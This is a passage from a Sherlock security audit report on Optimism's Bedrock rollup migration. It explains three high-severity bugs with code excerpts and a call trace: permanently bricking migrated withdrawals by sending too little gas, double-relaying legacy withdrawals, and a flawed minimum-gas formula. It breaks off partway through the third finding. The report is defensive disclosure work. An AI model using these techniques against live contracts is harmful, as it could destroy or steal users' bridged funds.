SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for: Optimism
Prepared by: Sherlock
Lead Security Expert: obront
Dates Audited: March 24 - April 7, 2023
Prepared on: April 23, 2023

Introduction

Bedrock is the cheapest, fastest, and most advanced rollup architecture. Ever. Contest focus is changes made since the previous Bedrock contest.

Scope

The key components of the system can be found in our monorepo at commit 9b9f78c661, as well as in the op-geth repo at commit 7eee103098

- L1 Contracts
- L2 Contracts (AKA Predeploys)
- op-node
- op-geth (in its own repo)

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
7	3

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

obront
Jeiwan
KingNFT
0xdeadbeef
ShadowForce
Koolex
HE1M
unforgiven

Issue H-1: All migrated withdrarwals that require more than 135,175 gas may be bricked

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/93

Found by

obront

Summary

Migrated withdrawals are given an "outer" (Portal) gas limit of `calldata cost + 200,000`, and an "inner" (CrossDomainMessenger) gas limit of `0`. The assumption is that the CrossDomainMessenger is replayable, so there is no need to specify a correct gas limit.

This is an incorect assumption. For any withdrawals that require more than 135,175 gas, insufficient gas can be sent such that CrossDomainMessenger's external call reverts and the remaining 1/64th of the gas sent is not enough for replayability to be encoded in the Cross Domain Messenger.

However, the remaining 1/64th of gas in the Portal is sufficient to have the transaction finalize, so that the Portal will not process the withdrawal again.

Vulnerability Detail

When old withdrawals are migrated to Bedrock, they are encoded as calls to `L1CrossDomainMessenger.relayMessage()` as follows:

```
func MigrateWithdrawal(withdrawal *LegacyWithdrawal, l1CrossDomainMessenger
↪  *common.Address) (*Withdrawal, error) {
    // Attempt to parse the value
    value, err := withdrawal.Value()
    if err != nil {
        return nil, fmt.Errorf("cannot migrate withdrawal: %w", err)
    }

    abi, err := bindings.L1CrossDomainMessengerMetaData.GetAbi()
    if err != nil {
        return nil, err
    }

    // Migrated withdrawals are specified as version 0. Both the
    // L2ToL1MessagePasser and the CrossDomainMessenger use the same
    // versioning scheme. Both should be set to version 0
    versionedNonce := EncodeVersionedNonce(withdrawal.XDomainNonce, new(big.Int))
```

```
    // Encode the call to `relayMessage` on the `CrossDomainMessenger`.
    // The minGasLimit can safely be 0 here.
    data, err := abi.Pack(
        "relayMessage",
        versionedNonce,
        withdrawal.XDomainSender,
        withdrawal.XDomainTarget,
        value,
        new(big.Int), // <= THIS IS THE INNER GAS LIMIT BEING SET TO ZERO
        []byte(withdrawal.XDomainData),
    )
    if err != nil {
        return nil, fmt.Errorf("cannot abi encode relayMessage: %w", err)
    }

    gasLimit := MigrateWithdrawalGasLimit(data)

    w := NewWithdrawal(
        versionedNonce,
        &predeploys.L2CrossDomainMessengerAddr,
        l1CrossDomainMessenger,
        value,
        new(big.Int).SetUint64(gasLimit), // <= THIS IS THE OUTER GAS LIMIT
↪   BEING SET
        data,
    )
    return w, nil
}
```

As we can see, the `relayMessage()` call uses a gasLimit of zero (see comments above), while the outer gas limit is calculated by the `MigrateWithdrawalGasLimit()` function:

```
func MigrateWithdrawalGasLimit(data []byte) uint64 {
    // Compute the cost of the calldata
    dataCost := uint64(0)
    for _, b := range data {
        if b == 0 {
            dataCost += params.TxDataZeroGas
        } else {
            dataCost += params.TxDataNonZeroGasEIP2028
        }
    }

    // Set the outer gas limit. This cannot be zero
    gasLimit := dataCost + 200_000
    // Cap the gas limit to be 25 million to prevent creating withdrawals
```

```
    // that go over the block gas limit.
    if gasLimit > 25_000_000 {
        gasLimit = 25_000_000
    }

    return gasLimit
}
```

This calculates the outer gas limit value by adding the calldata cost to 200,000.

Let's move over to the scenario in which these values are used to see why they can cause a problem.

When a transaction is proven, we can call `OptimismPortal.finalizeWithdrawalTransaction()` to execute the transaction. In the case of migrated withdrawals, this executes the following flow:

- `OptimismPortal` calls to `L1CrossDomainMessenger` with a gas limit of `200,000 + calldata`
- This guarantees remaining gas for continued execution after the call of `(200_000 + calldata) * 64/63 * 1/64 > 3174`
- XDM uses `41,002` gas before making the call, leaving `158,998` remaining for the call
- The `SafeCall.callWithMinGas()` succeeds, since the inner gas limit is set to 0
- If the call uses up all of the avaialble gas (succeeding or reverting), we are left with `158,998 * 1/64 = 2,484` for the remaining execution
- The remaining execution includes multiple SSTOREs which totals `23,823` gas, resulting in an OutOfGas revert
- In fact, if the call uses any amount greater than `135,175`, we will have less than `23,823` gas remaining and will revert
- As a result, none of the updates to `L1CrossDomainMessenger` occur, and the transaction is not marked in `failedMessages` for replayability
- However, the remaining `3174` gas is sufficient to complete the transction on the `OptimismPortal`, which sets `finalizedWithdrawals[hash] = true` and locks the withdrawals from ever being made again

Impact

Any migrated withdrawal that uses more than `135,175` gas will be bricked if insufficient gas is sent. This could be done by a malicious attacker bricking thousands of pending withdrawals or, more likely, could happen to users who

accidentally executed their withdrawal with too little gas and ended up losing it permanently.

Code Snippet

https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/op-chain-ops/crossdomain/migrate.go#L55-L97

https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/op-chain-ops/crossdomain/migrate.go#L99-L119

https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L315-L412

https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L291-L383

Tool used

Manual Review

Recommendation

There doesn't seem to be an easy fix for this, except to adjust the migration process so that migrated withdrawals are directly saved as `failedMessages` on the `L1CrossDomainMessenger` (and marked as `finalizedWithdrawals` on the `OptimismPortal`), rather than needing to be reproven through the normal flow.

Discussion

maurelian

Valid but we believe it to be a medium. There definitely exist edge cases of transactions where this is an issue but the majority of transactions it is not an issue.

Based on the following call trace for a finalization of a withdrawal transaction + the address mapping, we believe that this issue is unable to impact transactions transferring ERC20 tokens through the bridge.


```
{
  "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
  "gas": "0x73bdc",
  "gasUsed": "0x3ebbe",
  "to": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
```

```
"input": "0x8c3152e900000000000000000000000000000000000000000000000000000000
↪  0000200001000000000000000000000000000000000000000000000000000000000000
↪  0000000000000000000042000000000000000000000000000000000000700000000000
↪  0000000000dc64a140aa3e981100a9beca4e685f962f0cf6c900000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000031b8000000000000000000000000000000000000000000
↪  0000000000000000c0000000000000000000000000000000000000000000000000000000
↪  00000001e4d764ad0b0001000000000000000000000000000000000000000000000000
↪  0000000000000000000000000000000420000000000000000000000000000000001000
↪  00000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  000000000000000000000000000000c0000000000000000000000000000000000000000000
↪  00000000000000000000e40166a07a000000000000000000000000e6e340d132b5f46d1e47
↪  2debcd681b2abc16e57e0000000000000000000000007c6b91d9be155a6db01f749217d76f
↪  f02a7227f2000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
↪  0000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000
↪  0000000000000000000000000000000000000de0b6b3a764000000000000000000000000
↪  0000000000000000000000000000000000000000c0000000000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000",
"calls": [
  {
    "from": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
    "gas": "0x70b60",
    "gasUsed": "0x3fb97",
    "to": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82",
```


```
"input": "0x8c3152e900000000000000000000000000000000000000000000000000000000
↪  0000000020000100000000000000000000000000000000000000000000000000000000
↪  0000000000000000000000000000420000000000000000000000000000000000000700
↪  00000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c900000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000031b8000000000000000000000000000
↪  000000000000000000000000000000000000000c0000000000000000000000000000000
↪  0000000000000000000000000000000001e4d764ad0b0001000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000420000000
↪  0000000000000000000000000000010000000000000000000000009fe46736679d
↪  2d9a65f0992f2272de9f3c7fa6e0000000000000000000000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000c0000000000000000000000000000000000000000000000000000000000000
↪  00e40166a07a0000000000000000000000e6e340d132b5f46d1e472debcd681b2abc
↪  16e57e0000000000000000000000007c6b91d9be155a6db01f749217d76ff02a7227f2
↪  0000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000
↪  0000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000
↪  00000000000000000000000000000000de0b6b3a764000000000000000000000000
↪  0000000000000000000000000000000000000000c0000000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  0000000000000000000000000000000000000000000000000000000000000000000000
↪  000000000000",
"calls": [
  {
    "from": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
    "gas": "0x6b7b4",
    "gasUsed": "0x1c91",
    "to": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
    "input": "0x88786272",
    "output": "0x0000000000000000000000000000000000000000000000000000006
    ↪  4370353",
    "calls": [
      {
        "from": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
        "gas": "0x689d2",
        "gasUsed": "0x91a",
        "to": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0",
        "input": "0x88786272",
        "output": "0x0000000000000000000000000000000000000000000000000000
        ↪  00064370353",
        "value": "0x0",
        "type": "DELEGATECALL"
      }
    ],
    "type": "STATICCALL"
  },
  {
```

```
    "from": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
    "gas": "0x69a01",
    "gasUsed": "0x2f3",
    "to": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
    "input": "0xf4daa291",
    "output": "0x0000000000000000000000000000000000000000000000000000000
    ↪  0000002",
    "calls": [
      {
        "from": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
        "gas": "0x67de3",
        "gasUsed": "0x110",
        "to": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0",
        "input": "0xf4daa291",
        "output": "0x0000000000000000000000000000000000000000000000000000000
        ↪  00000000002",
        "value": "0x0",
        "type": "DELEGATECALL"
      }
    ],
    "type": "STATICCALL"
  },
  {
    "from": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
    "gas": "0x6953a",
    "gasUsed": "0x1d86",
    "to": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
    "input": "0xa25ae557000000000000000000000000000000000000000000000000000
    ↪  0000000000000b",
    "output":
    ↪  "0x3cef4cf4a4886782e55500db2d25325cb17007808ba2d44e0e37e7194f485da
    ↪  2000000000000000000000000000000000000000000000000000000064370570
    ↪  00000000000000000000000000000000000000000000000000000000000000f0",
    "calls": [
      {
        "from": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
        "gas": "0x6792d",
        "gasUsed": "0x1b9a",
        "to": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0",
        "input": "0xa25ae557000000000000000000000000000000000000000000000000000
        ↪  0000000000000000b",
        "output": "0x3cef4cf4a4886782e55500db2d25325cb17007808ba2d44e0e37e
        ↪  7194f485da2000000000000000000000000000000000000000000000000000
        ↪  00000643705700000000000000000000000000000000000000000000000000
        ↪  0000000000000f0",
        "value": "0x0",
        "type": "DELEGATECALL"
      }
```


```
    ],
    "type": "STATICCALL"
  },
  {
    "from": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
    "gas": "0x6759c",
    "gasUsed": "0x2f3",
    "to": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
    "input": "0xf4daa291",
    "output": "0x0000000000000000000000000000000000000000000000000000000
    ↪  0000002",
    "calls": [
      {
        "from": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9",
        "gas": "0x65a10",
        "gasUsed": "0x110",
        "to": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0",
        "input": "0xf4daa291",
        "output": "0x0000000000000000000000000000000000000000000000000000
        ↪  00000000002",
        "value": "0x0",
        "type": "DELEGATECALL"
      }
    ],
    "type": "STATICCALL"
  },
  {
    "from": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
    "gas": "0x6053e",
    "gasUsed": "0x306f9",
    "to": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
    "input": "0xd764ad0b000100000000000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000004200000000000000000000000000
    ↪  0000000001000000000000000000000009fe46736679d2d9a65f0992f2272de
    ↪  9f3c7fa6e0000000000000000000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000000000000000000000000000000000
    ↪  00c0000000000000000000000000000000000000000000000000000000000000
    ↪  e40166a07a0000000000000000000000e6e340d132b5f46d1e472debcd681b2a
    ↪  bc16e57e0000000000000000000000007c6b91d9be155a6db01f749217d76ff02a
    ↪  7227f2000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9
    ↪  226600000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922
    ↪  660000000000000000000000000000000000000000000000de0b6b3a7640000
    ↪  0000000000000000000000000000000000000000000000000000000000c000
    ↪  0000000000000000000000000000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000000000000000000000",
    "calls": [
      {
```


```
    "from": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
    "gas": "0x5d111",
    "gasUsed": "0xc8d",
    "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
    "input": "0xbf40fac1000000000000000000000000000000000000000000000000
    ↪  0000000000000002000000000000000000000000000000000000000000000000
    ↪  000000000000000001a4f564d5f4c3143726f7373446f6d61696e4d657373
    ↪  656e676572000000000000",
    "output": "0x000000000000000000000000610178da211fef7d417bc0e6fed39
    ↪  f05609ad788",
    "type": "STATICCALL"
  },
  {
    "from": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
    "gas": "0x5b909",
    "gasUsed": "0x2d19f",
    "to": "0x610178da211fef7d417bc0e6fed39f05609ad788",
    "input": "0xd764ad0b000100000000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000000042000000000000000000
    ↪  0000000000000000010000000000000000000000009fe46736679d2d9a65
    ↪  f0992f2272de9f3c7fa6e0000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000000000000000000000000000000
    ↪  000000000000000000000000c0000000000000000000000000000000000000
    ↪  000000000000000000000000e40166a07a0000000000000000000000
    ↪  e6e340d132b5f46d1e472debcd681b2abc16e57e0000000000000000000000
    ↪  007c6b91d9be155a6db01f749217d76ff02a7227f2000000000000000000000
    ↪  0000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000
    ↪  000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000
    ↪  0000000000000000000000000000000de0b6b3a764000000000000000000000
    ↪  000000000000000000000000000000000000000000000c0000000000000000
    ↪  0000000000000000000000000000000000000000000000000000000000000
    ↪  0000000000000000000000000000000000000000",
    "calls": [
      {
        "from": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
        "gas": "0x54236",
        "gasUsed": "0x354",
        "to": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
        "input": "0x9bf62d82",
        "output": "0x000000000000000000000000420000000000000000000000
        ↪  000000000000007",
        "calls": [
          {
            "from": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707",
            "gas": "0x52b78",
            "gasUsed": "0x171",
            "to": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82",
```


```
      "input": "0x9bf62d82",
      "output": "0x0000000000000000000000004200000000000000000
      ↪  0000000000000007",
      "value": "0x0",
      "type": "DELEGATECALL"
    }
  ],
  "type": "STATICCALL"
},
{
  "from": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
  "gas": "0x50df0",
  "gasUsed": "0x1e56d",
  "to": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0",
  "input":
  ↪  "0x0166a07a000000000000000000000000e6e340d132b5f46d1e472de
  ↪  bcd681b2abc16e57e0000000000000000000000007c6b91d9be155a6db
  ↪  01f749217d76ff02a7227f2000000000000000000000000f39fd6e51aa
  ↪  d88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd
  ↪  6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000
  ↪  0000000000000000000000000de0b6b3a764000000000000000000000
  ↪  000000000000000000000000000000000000000000000c000000000000
  ↪  0000000000000000000000000000000000000000000000000000000",
  "calls": [
    {
      "from": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0",
      "gas": "0x4e57f",
      "gasUsed": "0x92b",
      "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "input": "0xb7947262",
      "output": "0x0000000000000000000000000000000000000000000000000
      ↪  0000000000000000",
      "type": "STATICCALL"
    },
    {
      "from": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0",
      "gas": "0x4c8cb",
      "gasUsed": "0x1b395", // <--- HERE
      "to": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e",
      "input": "0x0166a07a000000000000000000000000e6e340d132b5f4
      ↪  6d1e472debcd681b2abc16e57e0000000000000000000000007c6b
      ↪  91d9be155a6db01f749217d76ff02a7227f2000000000000000000
      ↪  000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000
      ↪  0000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922
      ↪  660000000000000000000000000000000000000000000000000de0
      ↪  b6b3a764000000000000000000000000000000000000000000000000
      ↪  0000000000000000000c000000000000000000000000000000000000
      ↪  0000000000000000000000000000000",
```

```
"calls": [
  {
    "from": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0",
    "gas": "0x4b1b5",
    "gasUsed": "0xc75",
    "to": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
    "input": "0x6e296e45",
    "output": "0x000000000000000000000000420000000000000000
    ↪  0000000000000000000010",
    "calls": [
      {
        "from":
        ↪  "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
        "gas": "0x49bd4",
        "gasUsed": "0x4bd",
        "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
        "input": "0xbf40fac1000000000000000000000000000000
        ↪  0000000000000000000000000000000020000000000000
        ↪  0000000000000000000000000000000000000000000000
        ↪  00001a4f564d5f4c3143726f7373446f6d61696e4d6573
        ↪  73656e676572000000000000",
        "output": "0x000000000000000000000000610178da211fe
        ↪  f7d417bc0e6fed39f05609ad788",
        "type": "STATICCALL"
      },
      {
        "from":
        ↪  "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9",
        "gas": "0x49570",
        "gasUsed": "0x224",
        "to": "0x610178da211fef7d417bc0e6fed39f05609ad788",
        "input": "0x6e296e45",
        "output": "0x000000000000000000000000420000000000000
        ↪  0000000000000000000010",
        "value": "0x0",
        "type": "DELEGATECALL"
      }
    ],
    "type": "STATICCALL"
  },
  {
    "from": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0",
    "gas": "0x7530",
    "gasUsed": "0x7530",
    "to": "0xe6e340d132b5f46d1e472debcd681b2abc16e57e",
    "input": "0x01ffc9a701ffc9a700000000000000000000000000
    ↪  0000000000000000000000000000",
    "error": "write protection",
```

```
                        "type": "STATICCALL"
                      },
                      {
                        "from": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0",
                        "gas": "0x7530",
                        "gasUsed": "0x7530",
                        "to": "0xe6e340d132b5f46d1e472debcd681b2abc16e57e",
                        "input": "0x01ffc9a701ffc9a700000000000000000000000000
                        ↪  00000000000000000000000000000000",
                        "error": "write protection",
                        "type": "STATICCALL"
                      },
                      {
                        "from": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0",
                        "gas": "0x39714",
                        "gasUsed": "0x7405",
                        "to": "0xe6e340d132b5f46d1e472debcd681b2abc16e57e",
                        "input": "0xa9059cbb000000000000000000000000f39fd6e51a
                        ↪  ad88f6f4ce6ab8827279cfffb922660000000000000000000000
                        ↪  0000000000000000000000000de0b6b3a7640000",
                        "output": "0x00000000000000000000000000000000000000000
                        ↪  0000000000000000000001",
                        "value": "0x0",
                        "type": "CALL"
                      }
                    ],
                    "value": "0x0",
                    "type": "DELEGATECALL"
                  }
                ],
                "value": "0x0",
                "type": "CALL"
              }
            ],
            "value": "0x0",
            "type": "DELEGATECALL"
          }
        ],
        "value": "0x0",
        "type": "CALL"
      }
    ],
    "value": "0x0",
    "type": "DELEGATECALL"
  }
],
"value": "0x0",
"type": "CALL"
```


```
}
```

GalloDaSballo

Would suggest checking for known withdrawals and seeing if this can be a concern (and raising to High in that case)

The conditionality leads me to agree with Med

GalloDaSballo

Sample list of withdrawals
https://gist.github.com/GalloDaSballo/66d73fb9d2f5fdf904349406ceb5ebfb

Annotated Gas Consumption of integrations
https://gist.github.com/GalloDaSballo/9dd42b901528f31fe8db244cfb1ef514
https://gist.github.com/GalloDaSballo/f27d5a6cf7bd0ec7dd03b5de7d3bcdaf

I believe there are some cases in which the above txs, which have corresponding events, will require more than 135k gas meaning they are subject to the attack

GalloDaSballo

I think this is a valid example: https://explorer.phalcon.xyz/tx/eth/0x610d1ca15b934970949f138a6e11847179ada6adff867621d03d220962aa5fc9?line=14

relayMessage -> does something -> send a message back

Contract: https://etherscan.io/address/0xcEA770441aa5eFCD3f5501b796185Ec3055A76D7/advanced#internaltx

Issue H-2: Legacy withdrawals can be relayed twice, causing double spending of bridged assets

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/87

Found by

Jeiwan

Summary

`L2CrossDomainMessenger.relayMessage` checks that legacy messages have not been relayed by reading from the `successfulMessages` state variable, however the contract's storage will wiped during the migration to Bedrock and `successfulMessages` will be empty after the deployment of the contract. The check will always pass, even if a legacy message have already been relayed using its v0 hash. As a result, random withdrawal messages, as well as messages from malicious actors, can be relayed multiple times during the migration: first, as legacy v0 messages (before the migration); then, as Bedrock v1 messages (during the migration).

Vulnerability Detail

L2CrossDomainMessenger inherits from CrossDomainMessenger, which inherits from `CrossDomainMessengerLegacySpacer0`, `CrossDomainMessengerLegacySpacer1`, assuming that the contract will be deployed at an address with existing state–the two spacer contracts are needed to "skip" the slots occupied by previous implementations of the contract.

During the migration, legacy (i.e. pre-Bedrock) withdrawal messages will be converted to Bedrock messages–they're expected to call the relayMessage function of `L2CrossDomainMessenger`. The `L2CrossDomainMessenger.relayMessage` function checks that the relayed legacy message haven't been relayed already:

```
// If the message is version 0, then it's a migrated legacy withdrawal. We
↪  therefore need
// to check that the legacy version of the message has not already been relayed.
if (version == 0) {
    bytes32 oldHash = Hashing.hashCrossDomainMessageV0(_target, _sender,
↪  _message, _nonce);
    require(
        successfulMessages[oldHash] == false,
        "CrossDomainMessenger: legacy withdrawal already relayed"
    );
}
```

It reads a V0 message hash from the `successfulMessages` state variable, assuming that the content of the variable is preserved during the migration. However, the state and storage of all predeployed contracts is wiped during the migration:

```
// We need to wipe the storage of every predeployed contract EXCEPT for the
↪  GovernanceToken,
// WETH9, the DeployerWhitelist, the LegacyMessagePasser, and LegacyERC20ETH. We
↪  have verified
// that none of the legacy storage (other than the aforementioned contracts) is
↪  accessible and
// therefore can be safely removed from the database. Storage must be wiped
↪  before anything
// else or the ERC-1967 proxy storage slots will be removed.
if err := WipePredeployStorage(db); err != nil {
    return nil, fmt.Errorf("cannot wipe storage: %w", err)
}
```

Also notice that withdrawals are migrated after predeploys were wiped and deployed–predeploys will have empty storage at the time withdrawals are migrated.

Moreover, if we check the code at the L2CrossDomainMessenger address of the current version of Optimism, we'll see that the contract's storage layout is different from the layout of the `CrossDomainMessengerLegacySpacer0` and `CrossDomainMessengerLegacySpacer1` contracts: there are no gaps and other spacer slots; `successfulMessages` is the second slot of the contract. Thus, even if there were no wiping, the `successfulMessages` mapping of the new `L2CrossDomainMessenger` contract would still be empty.

Impact

Withdrawal messages can be relayed twice: once right before and once during the migration. ETH and ERC20 tokens can be withdrawn twice, which is basically double spending of bridged assets.

Code Snippet

1. `L2CrossDomainMessenger` is `CrossDomainMessenger`: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/L2/L2CrossDomainMessenger.sol#L18
2. `CrossDomainMessenger` inherits from `CrossDomainMessengerLegacySpacer0` and `CrossDomainMessengerLegacySpacer1` to preserve the storage layout: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L114-L117

3. `CrossDomainMessenger.relayMessage` reads from `successfulMessages` to ensure that legacy withdrawals haven't been relayed already: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L307-L313
4. All predeploys are wiped during the migration, thus `L2CrossDomainMessenger.successfulMessages` will not contain the hashes of legacy withdrawals: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/op-chain-ops/genesis/db_migration.go#L150-L157

Tool used

Manual Review

Recommendation

1. Consider cleaning up the storage layout of `L1CrossDomainMessenger`, `L2CrossDomainMessenger` and other proxied contracts.
2. In the PreCheckWithdrawals function, consider reading withdrawal hashes from the `successfulMessages` mapping of the old `L2CrossDomainMessenger` contract and checking if the values are set. Successful withdrawals should be skipped at this point to filter out legacy withdrawals that have already been relayed.
3. Consider removing the check from the `relayMessage` function, since the check will be useless due to the empty state of the contract.

Discussion

hrishibhat

Sponsor comment: This report is valid. The storage layout of the new `CrossDomainMessenger` contract is different from the old `CrossDomainMessenger`, which allows for replaying old cross domain messages- this would be catastrophic for the network.

Issue H-3: The formula used in `SafeCall.callWithMinGas()` is wrong

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/40

Found by

KingNFT

Summary

The formula used in `SafeCall.callWithMinGas()` is not fully complying with EIP-150 and EIP-2929, the actual gas received by the sub-contract can be less than the required `_minGas`. Withdrawal transactions can be finalized with less than specified gas limit, may lead to loss of funds.

Vulnerability Detail

```
File: contracts\libraries\SafeCall.sol
048:     function callWithMinGas(
049:         address _target,
050:         uint256 _minGas,
051:         uint256 _value,
052:         bytes memory _calldata
053:     ) internal returns (bool) {
054:         bool _success;
055:         assembly {
056:             // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63
057:             //
058:             // Because EIP-150 ensures that, a maximum of 63/64ths of the
 ↪  remaining gas in the call
059:             // frame may be passed to a subcontext, we need to ensure that
 ↪  the gas will not be
060:             // truncated to hold this function's invariant: "If a call is
 ↪  performed by
061:             // `callWithMinGas`, it must receive at least the specified
 ↪  minimum gas limit." In
062:             // addition, exactly 51 gas is consumed between the below `GAS`
 ↪  opcode and the `CALL`
063:             // opcode, so it is factored in with some extra room for error.
064:             if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {
065:                 // Store the "Error(string)" selector in scratch space.
066:                 mstore(0, 0x08c379a0)
067:                 // Store the pointer to the string length in scratch space.
068:                 mstore(32, 32)
```

```
069:                 // Store the string.
070:                 //
071:                 // SAFETY:
072:                 // - We pad the beginning of the string with two zero bytes
    ↪  as well as the
073:                 // length (24) to ensure that we override the free memory
    ↪  pointer at offset
074:                 // 0x40. This is necessary because the free memory pointer
    ↪  is likely to
075:                 // be greater than 1 byte when this function is called, but
    ↪  it is incredibly
076:                 // unlikely that it will be greater than 3 bytes. As for
    ↪  the data within
077:                 // 0x60, it is ensured that it is 0 due to 0x60 being the
    ↪  zero offset.
078:                 // - It's fine to clobber the free memory pointer, we're
    ↪  reverting.
079:                 mstore(88,
    ↪  0x0000185361666543616c6c3a204e6f7420656e6f756768820676173)
080:
081:                 // Revert with 'Error("SafeCall: Not enough gas")'
082:                 revert(28, 100)
083:             }
084:
085:             // The call will be supplied at least (((_minGas + 200) * 64) /
    ↪  63) - 49 gas due to the
086:             // above assertion. This ensures that, in all circumstances,
    ↪  the call will
087:             // receive at least the minimum amount of gas specified.
088:             // We can prove this property by solving the inequalities:
089:             // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas
090:             // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas
091:             // Both inequalities hold true for all possible values of
    ↪  `_minGas`.
092:             _success := call(
093:                 gas(), // gas
094:                 _target, // recipient
095:                 _value, // ether value
096:                 add(_calldata, 32), // inloc
097:                 mload(_calldata), // inlen
098:                 0x00, // outloc
099:                 0x00 // outlen
100:             )
101:         }
102:         return _success;
103:     }
```

The current formula used in `SafeCall.callWithMinGas()` involves two issues.

Firstly, the `63/64` rule is not the whole story of EIP-150 for the `CALL` opcode, let's take a look at the implementation of EIP-150, a `base` gas is subtracted before applying `63/64` rule.

https://github.com/ethereum/go-ethereum/blob/2adce0b06640aa665706d014a92cd06f0720dcab/core/vm/gas.go#L37

```
